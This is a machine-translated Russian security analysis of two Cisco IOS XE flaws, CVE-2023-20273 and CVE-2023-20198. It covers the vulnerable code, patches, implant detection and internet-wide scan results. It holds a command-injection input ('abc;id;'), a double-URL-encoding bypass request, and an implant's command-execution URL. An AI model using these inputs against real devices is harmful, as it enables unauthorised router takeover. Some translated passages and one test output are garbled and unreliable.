Оригинальная статья | Анализ уязвимостей неавторизованного выполнения команд веб-интерфейса системы Cisco IOS XE |
Оригинальная статья | Анализ уязвимостей неавторизованного выполнения команд веб-интерфейса системы Cisco IOS XE |

Автор: Hcamael@knowchuangyu 404 лаборатория

Время: 1 ноября 2023 г.

В этой статье будут проанализированы и обобщены две недавние очень серьезные уязвимости CVE (CVE-2023-20198, CVE-2023-20273) в Cisco IOS XE.

1. Настройка среды

Ссылки

В прошлом году я приобрел маршрутизатор Cisco ISR 4300 для исследования и в течение 1 дня анализировал выполнение его фоновых команд. Бывает, что этот маршрутизатор также является системой Cisco IOS XE, поэтому я могу напрямую использовать среду Cisco ISR для исследования.

Если вы хотите настроить виртуальную среду, это легко,Доступно в Google,Zoomeye выполняет поиск по ключевым словам имени файла,Без идентификации версии,Вы можете искать много старых версийova, qcow2документ,Но недостаток в том, что нет возможности поиска последней версии прошивки.,Если вы хотите изучить последнюю версию прошивки,Можно купить только на Xianyu.

2. CVE-2023-20273

Ссылки

После настройки среды сначала проанализируйте уязвимость авторизации RCE. Принцип этой уязвимости относительно прост. Проблема заключается в фильтрации адресов ipv6. Соответствующий код выглядит следующим образом.

Язык кода:javascript
копировать
function utils.isIpv6Address(ip)
    if utils.isNilOrEmptyString(ip) then
                 return false
        end
        local chunks = utils.splitString(ip,":")
        if #chunks > 8 or #chunks < 3 then
                return false
        end
        for i=1,#chunks do
                if chunks[i] ~="" and chunks[i]:match("([a-fA-F0-9]*)") == nil and tonumber(chunks[i],16) <= 65535 then
                        return false
                end
        end
        return true
end

Проблема заключается в регулярном:chunks[i]:match("([a-fA-F0-9]*)"),Поскольку нет ограничений на конечный символ,То есть, пока начальная часть построенной строки может успешно соответствовать обычной,может пройти,Давайте проведем тест:

Язык кода:javascript
копировать
$ cat test.lua
local arg1 = arg[1]
print(arg1:match("([a-fA-F0-9]*)"))
$ lua test.lua "abc;id;"
abcd

Последняя версия кода патча выглядит следующим образом:

Рис. 1. Код сравнения новой и старой версий системы IOS XE.

Обычный становится:ip:match("^([a-fA-F0-9:]+)$"),так,Обойти это в принципе невозможно.

Существует несколько точек ввода команд:

1.snortcheck.lua

Код на рис. 2, относящийся к файлу snortcheck.lua

существоватьvalidateSnortRequestфункция сделаетipaddressПроверять,Но поскольку я могуbypass Проверка IPv6, поэтому это может привести к внедрению команд.

2.softwareMgmt.lua

Рис. 3. Код, связанный с файлом SoftwareMgmt.lua.

существоватьvalidateSmuRequestЦентральный Комитет будетipaddressПроверять,随后会существоватьgenerateUrlAndDestinationсоединенный сurlсреди,Наконец, это приводит к внедрению команд.

3.softwareUpgrade.lua

В этом файле есть несколько командных инъекций.,Причина лазейки та же, что и выше.,Потому что нет праваipaddressПоля проверяются на корректность,Итак, после вставки его в URL-адрес,Вызывает внедрение команды.

3. CVE-2023-20198

Ссылки

Потом разберём более серьёзные несанкционированные лазейки,Я думаю, что лазейки следует называть лазейки с несанкционированным выполнением команд Cisco.,может бытьpri 15Разрешение на выполнение любогоCiscoЗаказ。

Я думаю, что уязвимость возникает из-за неправильной настройки nginx следующим образом:

Язык кода:javascript
копировать
location /lua5 {
        internal;
        if ($scheme = http) {
                rewrite /lua5 /webui_wsma_http;
        }

        if ($scheme = https) {
                rewrite /lua5 /webui_wsma_https;
        }
}

location /webui_wsma_http {
        internal;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_pass http://192.168.1.6:$NGX_IOS_HTTP_PORT liin;
}

location /webui_wsma_https {
        internal;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_pass https://192.168.1.6:$NGX_IOS_HTTPS_PORT liin;
}

первый,Его можно найти, проверив Lua-код webui.,Чтобы выполнить код cli,В конечном итоге это происходит через доступ/luaпуть к достижению,Но поскольку путь настроенinternalПоле,Таким образом, доступ к пути возможен только через внутренний код nginx.

Далее посмотрим на код,можно найти,/luaВ конечном итоге путь будет основан наhttpилиhttpsвыбрать посещение/webui_wsma_http(s) Аналогично, к этому пути нельзя получить доступ извне. Эту часть конфигурации nginx теоретически невозможно обойти.

но,/webui_wsma_http(s)Путь не является окончательным выполнениемcliЗаказ的地方,Наконец, получив доступhttp(s)://192.168.1.6прийти сiosdпрограммы общаются,Мы можем провести тест.

Получите разрешения Linux через указанную выше уязвимость авторизации RCE, а затем выполните следующую команду:

Язык кода:javascript
копировать
# ip netns exec 8 curl -kv http://192.168.1.6/webui_wsma_http -d "<xml>"
......
< HTTP/1.1 200 OK
< Date: Thu, 02 Nov 2023 07:15:13 GMT
< Server: cisco-IOS
< Connection: close
< Content-Length: 447
< Content-Type: text/xml
< Expires: Thu, 02 Nov 2023 07:15:13 GMT
< Last-Modified: Thu, 02 Nov 2023 07:15:13 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Accept-Ranges: none
< X-XSS-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
<
* Closing connection 0
<?xml version="1.0" encoding="UTF-8"?><SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xml="http://www.w3.org/XML/1998/namespace"><SOAP:Body><SOAP:Fault><faultcode>SOAP:Client</faultcode><faultstring>An unknown XML tag has been received</faultstring><detail><WSMA-ERR:error xmlns:WSMA-ERR="urn:cisco:wsma-errors"><WSMA-ERR:details>xml</WSMA-ERR:details></WSMA-ERR:error></detail></SOAP:Fault></SOAP:Body></SOAP:Envelope>

мы можем видеть,окончательное исполнениеcliЗаказ的是iosdпрограммные услуги。

Продолжим аудит конфигурации nginx,可以существовать/tmp/nginx.confнайден втакконфигурация:

Язык кода:javascript
копировать
        location / {
            proxy_read_timeout 900;
            proxy_pass https://192.168.1.6:443/ liin;
            proxy_set_header X-Real-IP       $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header Host $host;
            proxy_set_header Via $server_addr;
         }

nginx по умолчанию,Просто отправьте запрос наiosdзадняя часть。В это время возникает идея,Мы можем получить прямой доступ:http://host/webui_wsma_httpПриходите и запросите192.168.1.6задняя часть

проверено,Эта идея не работает,Поскольку этот путь запроса,будет сопоставлен в первую очередьlocation /webui_wsma_httpмаршрутизация,Так как установленоinternalКлючевые слова,Итак, 404 будет возвращено.

но,Подумав,Я обнаружил, что на самом деле в этой идее нет никаких проблем.,Но здесь нужен обходной путь. Служба nginx раскодирует кодировку URL.,иiosdТакже будут проводиться услугиURLоперация декодирования,Как показано ниже:

Язык кода:javascript
копировать
# ip netns exec 8 curl -kv http://192.168.1.6/webui_wsma%5fhttp -d "<xml>"
...< HTTP/1.1 200 OK
< Date: Thu, 02 Nov 2023 07:30:48 GMT
< Server: cisco-IOS
< Connection: close
< Content-Length: 447
< Content-Type: text/xml
< Expires: Thu, 02 Nov 2023 07:30:48 GMT
< Last-Modified: Thu, 02 Nov 2023 07:30:48 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Accept-Ranges: none
< X-XSS-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
<
* Closing connection 0
<?xml version="1.0" encoding="UTF-8"?><SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xml="http://www.w3.org/XML/1998/namespace"><SOAP:Body><SOAP:Fault><faultcode>SOAP:Client</faultcode><faultstring>An unknown XML tag has been received</faultstring><detail><WSMA-ERR:error xmlns:WSMA-ERR="urn:cisco:wsma-errors"><WSMA-ERR:details>xml</WSMA-ERR:details></WSMA-ERR:error></detail></SOAP:Fault></SOAP:Body></SOAP:Envelope>

так У вас может быть идея атаки вторичного кодирования.,Если мы сделаем запрос:http://host/%2577ebui_wsma_http,ТакnginxПолученный запрос былhttp://host/%77ebui_wsma_http,Так как по другой маршрутизации совпадений нет.,Поэтому используйте маршрутизацию по умолчанию.,отправить вiosdзадняя часть的请求为:http://192.168.1.6/%77ebui_wsma_http,并且由于задняя часть的webui_wsma_httpОперация аутентификации не была выполнена,так Происходит несанкционированный доступлазейки。

ЗапрошеноurlХОРОШОwebuiлюбой один или несколько символовurlкодирование,можно получить доступ без авторизацииiosdзадняя часть,Но для последующих_wsma_http进行кодирование却没иметь用,Потому что если нет праваwebui进行кодирование,则будет сопоставлен в первую очередь/webuiмаршрутизация,невозможно получить доступiosdзадняя часть。

Официальное исправление

Официальное исправление Да, один добавилсяProxy-Uri-Sourceголова,Если это по умолчаниюмаршрутизация Посетилiosdсервировка,затем установите на:Proxy-Uri-Source: global

Рис. 4. Код, связанный с iOSD, в IDA

Если это пропуск/lua5маршрутизацияпосетил,затем установите на:Proxy-Uri-Source: webui_internal

Рисунок 5. Новый код, добавленный в новую версию системы IOS XE.

иiosdзадняя часть处理webui_wsma_httpмаршрутизациячас,Только обнаруженоHTTPголова为:Proxy-Uri-Source: webui_internal,Только тогда на HTTP-запросы будут отвечать нормально.

Однако я думаю, что основная проблема уязвимости не устранена. Например, я также нашел следующую конфигурацию:

Язык кода:javascript
копировать
server {
    include /usr/binos/conf/nginx-conf/https-only/fallback.conf;
    listen unix:/var/run/shell_exec/nginx/pnp_python.sock;
    listen unix:/var/run/shell_exec/nginx/pnp_python_ssl.sock ssl;
    location /pnp_python {
        proxy_pass http://192.168.1.6:80/pnp_python liin;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header Host $host;
        proxy_read_timeout 1d;
        proxy_send_timeout 1d;
        proxy_connect_timeout 1d;
    }
}

iosdзадняя часть还会响应pnp_pythonмаршрутизация,Какие операции можно выполнять на этой маршрутизации, предстоит мне в дальнейших исследованиях.

4. Анализ использования в дикой природе

Ссылки

О двух вышеупомянутых уязвимостях первоначально официально объявила компания Cisco. Вероятно, они обнаружили эти две уязвимости после того, как обнаружили вредоносное ПО с бэкдором на своих машинах или компьютерах клиентов.

Представители Cisco не раскрыли подробностей уязвимости, но рассказали, как определить, были ли в их оборудование внедрены бэкдоры злоумышленниками.

Первый план обнаружения

Рисунок 6. Код бэкдора IOS XE 1.

Предполагается, что приведенный выше код является бэкдором, который Cisco официально обнаружила в устройстве. Из приведенного выше кода мы можем узнать:

Язык кода:javascript
копировать
$ curl -kv http://host/webui/logoutconfirm.html?logon_hash=1 -X POST
# Этот запрос вернет строку шестнадцатеричных чисел, например
e79ba64cb1922c9cec
# Если бэкдор не существует на устройстве, будет возвращена ошибка 404.

Основная функция этого бэкдора заключается в том, что к нему можно получить доступ через:http://host/webui/logoutconfirm.html?logon_hash=???&common_type=subsystem -d "id"выполнить любойLinuxсистема Заказ。

Самое главное – необходимостьlogon_hashценить,Но мы не можем получить значение,После исследования,Угадай для каждого устройстваlogon_hashЦенности у всех разные,Должно быть взаимно однозначное соответствие с шестнадцатеричным числом, возвращенным ранее.

Второй вариант обнаружения

Рисунок 7. Код бэкдора IOS XE 2.

Второй вариант эквивалентен обновлению первого.,Добавлен код аутентификации,У нас нет возможности узнатьAuthorizationценить为多少,ноCiscoЧиновник нам это предоставил.:

Язык кода:javascript
копировать
$ curl -kv http://host/webui/logoutconfirm.html?logon_hash=1 -X POST -H 'Authorization: 0ff4fbf0ecffa77ce8d3852a29263e263838e9bb'
# Этот метод обнаружения аналогичен предыдущему, за исключением того, что имеется дополнительное поле «Авторизация».
# В дополнение к тому же бэкдору подсистемы добавлен новый бэкдор common_type=iox, который может выполнять любые Cisco cliЗаказ,Но то же самое,У нас нет возможности узнать значение logon_hash.

Я не думаю, что есть необходимость различать эти два типа бэкдоров.,Просто используйте второй вариант для обнаружения,Он может определить, имплантирован ли в цель бэкдор. Единственное, что следует различать, это,Должно бытьAuthorizationПоле的目标,будет еще одинioxФункция,Используется для выполнения команд CLI Cisco.

Третий план обнаружения

Рисунок 8. Исправленная часть кода бэкдора.

Злоумышленники не просто оставляют бэкдоры на целевых устройствах,Также патчим несанкционированные лазейки,Долженмаршрутизациябудет соответствовать содержащему%запрос знака процента,如果Запрошеноuri中存существоватьзнак процента,Затем верните 404.

в обычном оборудовании,По запросуhttp://host/%25,Будет соответствовать маршрутизации по умолчанию,发送给задняя частьiosd,Возвращаемый результат:

Язык кода:javascript
копировать
$ ip netns exec 8 curl -kv http://192.168.1.6/%
...
> GET /% HTTP/1.1
> Host: 192.168.1.6
> User-Agent: curl/7.66.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 02 Nov 2023 08:22:07 GMT
< Server: cisco-IOS
< Connection: close
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=utf-8
< Expires: Thu, 02 Nov 2023 08:22:07 GMT
< Last-Modified: Thu, 02 Nov 2023 08:22:07 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Accept-Ranges: none
< X-XSS-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
<
* Closing connection 0
<script>window.onload=function(){ url ='/webui';window.location.href=url;}

Однако если на целевом устройстве есть бэкдор, оно будет соответствовать указанному выше маршруту и ​​вернет код 404. Таким образом, эту функцию можно использовать для определения наличия бэкдора на целевом сервере.

5. Исследуйте уязвимость в дикой природе

Ссылки

Впоследствии мы провели исследование эксплуатации этой уязвимости в реальных условиях, экспортировали цель 4w в ZoomEye, определили, может ли цель RCE, и провели безобидное обнаружение. Результаты следующие:

date: 2023/11/02 success : 12360 / 48636

использоватьlogon_hashметод обнаружения,Определите, есть ли у цели бэкдор,Результат следующий:

date: 2023/11/02 success : 22205 / 48636

对存существовать后门цель осуществить%знак процента404обнаружение,Результат следующий:

date: 2023/11/02 success : 22195 / 22205

10 целей, которые не удалось обнаружить вручную, обнаружили, что все их сбои были вызваны сетевыми проблемами.

Затем выполните обнаружение знака процента 404 на цели 4w, и результаты будут следующими:

date: 2023/11/02 success : 25341 / 48636

Тогда к этому2.5wцель осуществитьlogon_hashобнаружение,Результат следующий:

date: 2023/11/02 success : 21441 / 25341

После исследования неудавшихся целей мы обнаружили, что существует большое количество ловушек, которые могут пройти определение процентиля 404, что привело к большому количеству ложных срабатываний. Мы исключили цели-приманки и провели ручное тестирование остальных целей. Все причины были связаны с сетью, вызванной проблемой.

Из предыдущего анализа плюс приведенные выше результаты обнаружения,мы можем знать,logon_hashЕсть только две версии бэкдора(иметьAuthorizationголова和没иметь的),После того, как Cisco официально анонсировала бэкдор,Других обновлений на данный момент нет.

Также можно узнать, что злоумышленник изначально устранил несанкционированную дыру. Устройства с бэкдорами не могут использовать RCE, поэтому нам не удалось перехватить какой-либо эффективный код бэкдора.

В приведенных выше результатах обнаружения,Мы обнаружили, что существует более 10 000 целей, которые можно атаковать.,其中иметь几个目标和logon_hashобнаружение成功的目标重合,После исследования Обнаружить,Поскольку поддерживать бэкдор этого устройства сложно,,Как только устройство перезагрузится,Бэкдоры исчезнут,Таким образом, это приводит к некоторымlogon_hashобнаружение成功的目标,через некоторое время,Обнаружение RCE успешно,logon_hashобнаружение失败。

Затем мы подсчитали просканированные затронутые устройства и их архитектуры:

Язык кода:javascript
копировать
ASR1000 Software (X86_64_LINUX_IOSD-UNIVERSALK9_NPE_NOLI-M)
ISR Software (X86_64_LINUX_IOSD-UCMK9-M)
ISR Software (ARMV8EL_LINUX_IOSD-UNIVERSALK9_IAS_NPE-M)
ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9_NPE-M)
ISR Software (ARMV8EB_LINUX_IOSD-UNIVERSALK9_IAS-M)
C9800-CL Software (C9800-CL-K9_IOSXE)
cBR  Software (X86_64_LINUX_IOSD-UNIVERSALK9-M)
ASR1000 Software (X86_64_LINUX_IOSD-UNIVERSALK9_NOLI-M)
c8000be Software (X86_64_LINUX_IOSD-UNIVERSALK9_NPE-M)
ISR Software (ARMV8EL_LINUX_IOSD-UNIVERSALK9_IAS-M)
ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M)
ISR Software (ARMV8EL_LINUX_IOSD-UNIVERSALK9-M)
ASR1000 Software (X86_64_LINUX_IOSD-UNIVERSALK9-M)
ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9_IAS-M)
isr1100be Software (X86_64_LINUX_IOSD-UNIVERSALK9-M)
ISR Software (ARMV8EB_LINUX_IOSD-UCMK9-M)
ASR1000 Software (X86_64_LINUX_IOSD-UNIVERSALK9_NPE-M)
C9800-AP Software (C9800-AP-K9_IOSXE-UNIVERSALK9-M)
ISR Software (ARMV8EB_LINUX_IOSD-UNIVERSALK9_IAS_NPE-M)
Catalyst L3 Switch Software (CAT9K_IOSXE)
Virtual XE Software (X86_64_LINUX_IOSD-UNIVERSALK9-M)
C9800 Software (C9800_IOSXE-K9)
cBR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M)
Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M)
Catalyst L3 Switch Software (CAT9K_LITE_IOSXE)
ISR Software (ARMV8EL_LINUX_IOSD-UNIVERSALK9_NPE-M)
c8000aep Software (X86_64_LINUX_IOSD-UNIVERSALK9-M)
Virtual XE Software (X86_64_LINUX_IOSD-UCMK9-M)
ISR Software (ARMV8EL_LINUX_IOSD-UNIVERSALK9_IOT-M)
ISR Software (ARMV8EL_LINUX_IOSD-UCMK9-M)
CSR1000V Software (X86_64_LINUX_IOSD-UNIVERSALK9-M)
ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9_IAS_NPE-M)
c8000aes Software (X86_64_LINUX_IOSD-UNIVERSALK9-M)
c8000be Software (X86_64_LINUX_IOSD-UNIVERSALK9-M)
update 2023/11/5

Позже выяснилось, что бэкдор снова обновился, причем были обновлены две части: первая часть:

Рисунок 9. Исправленный код нового бэкдора.

Эта часть обновления исправляет метод обнаружения знака процента 404.

Часть 2:

Рисунок 10 Аутентификационная часть новой версии бэкдора

Эта часть обновления усложняет нам обнаружение скомпрометированных целей с помощью метода logon_hash.,потому чтоAuthorizationБольше не строкаhashценить,Вместо этого требуется, чтобы хеш-значение sha1sum указанного значения было указанным значением.,В этом случае,Может конфликтовать только через хэш,Раскрытие хеш-значений sha1 и других методов для прохождения проверки подлинности через бэкдор.

6. Решение для ремонта

Ссылки

  1. Порт WebUI не доступен в общедоступной сети.
  2. IOS XEсистема обновлена ​​до последней официальной версии.

7. Справочные ссылки

Ссылки

  1. https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/
  2. https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-deep-dive-and-poc/
boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose